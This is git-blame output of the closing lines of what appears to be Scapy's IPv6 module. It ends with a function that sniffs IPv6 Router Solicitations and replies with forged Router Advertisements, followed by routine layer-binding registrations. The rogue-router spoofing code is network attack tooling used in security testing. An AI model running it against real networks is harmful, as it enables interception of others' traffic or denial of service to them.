3881af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3882af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3883af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3884af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3885af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ra_reply_callback(req, iface):
3886af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3887af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that sends an RA in reply to an RS
3888af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3889af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3890a3618a09887e39536009036d2e88341c61d4d385gpotter        src = req[IPv6].src
3891af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(ra, iface=iface, verbose=0)
3892b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Fake RA sent in response to RS from %s" % src)
3893af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3894af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3895af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3896af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6"
3897af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3898af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3899af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3900af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
3901af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: ra_reply_callback(x, iface),
3902af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3903af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3904af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3905af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3906af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                          Layers binding                               ###
3908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3909c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3911614f54fc4b269030ba2934b6c353fb43de886e04Philconf.l3types.register(ETH_P_IPV6, IPv6)
3912614f54fc4b269030ba2934b6c353fb43de886e04Philconf.l2types.register(31, IPv6)
39131bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonconf.l2types.register(DLT_IPV6, IPv6)
39141bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonconf.l2types.register(DLT_RAW, _IPv46)
3915f6ce9f53090a518722f0b0dfdf7c4e90b138d0cfPierre LALETconf.l2types.register_num2layer(DLT_RAW_ALT, _IPv46)
3916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(Ether,     IPv6,     type = 0x86dd )
3918e0602343e528b8c9a53f20a0a40994eb1bb33436rbu@localhost.localdomainbind_layers(CookedLinux, IPv6,   proto = 0x86dd )
3919246c8bdfe6cabcdfc33f02a722bb062c03c8b393bartexbind_layers(GRE,       IPv6,     proto = 0x86dd )
3920c4f8a7f08c96149166a0455ad8f85dc87d3e496dAjaxbind_layers(SNAP,      IPv6,     code = 0x86dd )
392135f97efc53839f6366918c251dba5df2ac553c8dGuillaume Valadonbind_layers(Loopback,  IPv6,     type = 0x1c )
3922c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPerror6,  TCPerror, nh = socket.IPPROTO_TCP )
3923c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPerror6,  UDPerror, nh = socket.IPPROTO_UDP )
3924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      TCP,      nh = socket.IPPROTO_TCP )
3925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      UDP,      nh = socket.IPPROTO_UDP )
3926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IP,        IPv6,     proto = socket.IPPROTO_IPV6 )
3927c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      IPv6,     nh = socket.IPPROTO_IPV6 )
392817b4ef20fe8a6ca5e1387900ca329c5d1bcfe05dGuillaume Valadonbind_layers(IPv6,      IP,       nh = socket.IPPROTO_IPIP )
3929246c8bdfe6cabcdfc33f02a722bb062c03c8b393bartexbind_layers(IPv6,      GRE,      nh = socket.IPPROTO_GRE )
3930